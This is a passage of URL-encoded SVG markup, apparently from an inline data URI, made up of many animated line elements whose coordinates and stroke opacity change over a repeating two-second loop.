B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B190.2041%3B189.843%3B187.1969%3B184.2561%3B180.9684%3B177.2686%3B173.074%3B168.2782%3B162.7421%3B156.2799%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22169.6323%22%20y1%3D%2246.1731%22%20x2%3D%22170.142%22%20y2%3D%2246.8302%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B169.6323%3B161.7314%3B152.9542%3B143.1464%3B143.1464%3B143.1464%3B143.1464%3B143.1464%3B143.1464%3B143.1464%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B46.1731%3B35.9887%3B24.6748%3B12.0323%3B12.0323%3B12.0323%3B12.0323%3B12.0323%3B12.0323%3B12.0323%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B170.142%3B169.6323%3B161.7314%3B152.9542%3B133.3356%3B133.3356%3B133.3356%3B133.3356%3B133.3356%3B133.3356%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2246.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.8302%3B46.1731%3B35.9887%3B24.6748%3B-0.614%3B-0.614%3B-0.614%3B-0.614%3B-0.614%3B-0.614%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22538.9658%22%20y1%3D%22253.3418%22%20x2%3D%22531.0605%22%20y2%3D%22252.8601%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B538.9658%3B550.8828%3B564.1715%3B579.0834%3B595.935%3B615.1314%3B637.1984%3B637.1984%3B637.1984%3B637.1984%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B253.3418%3B254.0679%3B254.8776%3B255.7862%3B256.813%3B257.9826%3B259.3272%3B259.3272%3B259.3272%3B259.3272%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B531.0605%3B538.9658%3B550.8828%3B564.1715%3B579.0834%3B595.935%3B615.1314%3B641.7481%3B641.7481%3B641.7481%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B252.8601%3B253.3418%3B254.0679%3B254.8776%3B255.7862%3B256.813%3B257.9826%3B259.6044%3B259.6044%3B259.6044%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22522.4433%22%20y1%3D%22414.9258%22%20x2%3D%22520.3145%22%20y2%3D%22413.0864%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B522.4433%3B533.161%3B545.077%3B558.4042%3B573.4089%3B590.4291%3B590.4291%3B590.4291%3B590.4291%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B414.9258%3B424.1867%3B434.483%3B445.9986%3B458.9638%3B473.6706%3B473.6706%3B473.6706%3B473.6706%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B520.3145%3B522.4433%3B533.161%3B545.077%3B558.4042%3B573.4089%3B598.8891%3B598.8891%3B598.8891%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B413.0864%3B414.9258%3B424.1867%3B434.483%3B445.9986%3B458.9638%3B480.9806%3B480.9806%3B480.9806%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22287.6831%22%20y1%3D%22165.6036%22%20x2%3D%22288.8406%22%20y2%3D%22168.2683%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B287.6831%3B285.9248%3B283.9642%3B281.7642%3B279.2782%3B276.4464%3B273.1913%3B269.4103%3B264.9648%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B165.6036%3B161.556%3B157.0425%3B151.978%3B146.2549%3B139.7358%3B132.2422%3B123.5381%3B113.3043%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B288.8406%3B287.6831%3B285.9248%3B283.9642%3B281.7642%3B279.2782%3B276.4464%3B273.1913%3B269.4103%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B168.2683%3B165.6036%3B161.556%3B157.0425%3B151.978%3B146.2549%3B139.7358%3B132.2422%3B123.5381%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22531.8505%22%20y1%3D%22452.3198%22%20x2%3D%22522.5804%22%20y2%3D%22443.0292%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B531.8505%3B543.4775%3B556.4549%3B556.4549%3B556.4549%3B556.4549%3B556.4549%3B556.4549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B452.3198%3B463.9726%3B476.9788%3B476.9788%3B476.9788%3B476.9788%3B476.9788%3B476.9788%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B522.5804%3B531.8505%3B543.4775%3B559.9294%3B559.9294%3B559.9294%3B559.9294%3B559.9294%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B443.0292%3B452.3198%3B463.9726%3B480.4609%3B480.4609%3B480.4609%3B480.4609%3B480.4609%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22195.9823%22%20y1%3D%22403.1099%22%20x2%3D%22198.3392%22%20y2%3D%22400.01%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B195.9823%3B189.3567%3B181.9832%3B173.7277%3B164.4216%3B153.851%3B141.7393%3B141.7393%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B403.1099%3B411.8239%3B421.5216%3B432.3795%3B444.6189%3B458.5215%3B474.4511%3B474.4511%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B198.3392%3B195.9823%3B189.3567%3B181.9832%3B173.7277%3B164.4216%3B153.851%3B136.5549%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B400.01%3B403.1099%3B411.8239%3B421.5216%3B432.3795%3B444.6189%3B458.5215%3B481.2696%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%2285.7677%22%20y1%3D%22343.8127%22%20x2%3D%2290.4687%22%20y2%3D%22341.7292%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2285.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B85.7677%3B73.2396%3B59.2957%3B43.6815%3B26.0778%3B6.0784%3B6.0784%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B343.8127%3B349.3652%3B355.5452%3B362.4655%3B370.2675%3B379.1313%3B379.1313%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2290.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B90.4687%3B85.7677%3B73.2396%3B59.2957%3B43.6815%3B26.0778%3B-1.3332%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B341.7292%3B343.8127%3B349.3652%3B355.5452%3B362.4655%3B370.2675%3B382.4162%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22540.2851%22%20y1%3D%22384.7863%22%20x2%3D%22533.6413%22%20y2%3D%22380.4196%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B540.2851%3B552.1964%3B565.4695%3B580.3521%3B597.1557%3B616.2781%3B638.2348%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B384.7863%3B392.6152%3B401.3392%3B411.121%3B422.1655%3B434.7341%3B449.1655%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B533.6413%3B540.2851%3B552.1964%3B565.4695%3B580.3521%3B597.1557%3B616.2781%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B380.4196%3B384.7863%3B392.6152%3B401.3392%3B411.121%3B422.1655%3B434.7341%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22499.6837%22%20y1%3D%22279.3354%22%20x2%3D%22497.9905%22%20y2%3D%22278.9647%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B499.6837%3B509.1854%3B519.7482%3B531.5602%3B544.857%3B559.9374%3B577.1859%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B279.3354%3B281.4155%3B283.7278%3B286.3137%3B289.2245%3B292.5258%3B296.3018%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B497.9905%3B499.6837%3B509.1854%3B519.7482%3B531.5602%3B544.857%3B559.9374%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B278.9647%3B279.3354%3B281.4155%3B283.7278%3B286.3137%3B289.2245%3B292.5258%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22204.1151%22%20y1%3D%2255.1698%22%20x2%3D%22205.6485%22%20y2%3D%2257.6155%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B204.1151%3B197.9621%3B191.1191%3B183.4632%3B174.8402%3B174.8402%3B174.8402%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2255.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B55.1698%3B45.3562%3B34.442%3B22.2312%3B8.478%3B8.478%3B8.478%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B205.6485%3B204.1151%3B197.9621%3B191.1191%3B183.4632%3B169.0226%3B169.0226%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2257.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B57.6155%3B55.1698%3B45.3562%3B34.442%3B22.2312%3B-0.8007%3B-0.8007%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22566.617%22%20y1%3D%22378.2402%22%20x2%3D%22565.3494%22%20y2%3D%22377.5296%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B566.617%3B579.5991%3B594.024%3B610.1462%3B628.2841%3B628.2841%3B628.2841%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B378.2402%3B385.5173%3B393.603%3B402.6403%3B412.8074%3B412.8074%3B412.8074%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B565.3494%3B566.617%3B579.5991%3B594.024%3B610.1462%3B641.0282%3B641.0282%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B377.5296%3B378.2402%3B385.5173%3B393.603%3B402.6403%3B419.9511%3B419.9511%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22161.9603%22%20y1%3D%22143.1329%22%20x2%3D%22166.0411%22%20y2%3D%22145.6342%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B161.9603%3B153.4549%3B143.9818%3B133.3662%3B121.3879%3B107.7666%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B143.1329%3B137.9197%3B132.1134%3B125.6068%3B118.2649%3B109.9161%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B166.0411%3B161.9603%3B153.4549%3B143.9818%3B133.3662%3B121.3879%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B145.6342%3B143.1329%3B137.9197%3B132.1134%3B125.6068%3B118.2649%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22177.0424%22%20y1%3D%22224.3612%22%20x2%3D%22179.4613%22%20y2%3D%22224.6258%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B177.0424%3B169.4221%3B160.9435%3B151.4532%3B140.7586%3B128.6148%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B224.3612%3B223.5276%3B222.6%3B221.5619%3B220.3919%3B219.0634%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B179.4613%3B177.0424%3B169.4221%3B160.9435%3B151.4532%3B140.7586%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.6258%3B224.3612%3B223.5276%3B222.6%3B221.5619%3B220.3919%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%220%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B1%3B1%3B1%3B1%3B1%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22628.2665%22%20y1%3D%2295.1047%22%20x2%3D%22616.843%22%20y2%3D%22100.4741%22%20stroke-opacity%3D%220%22%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B616.843%3B640.263%3B640.263%3B640.263%3B640.263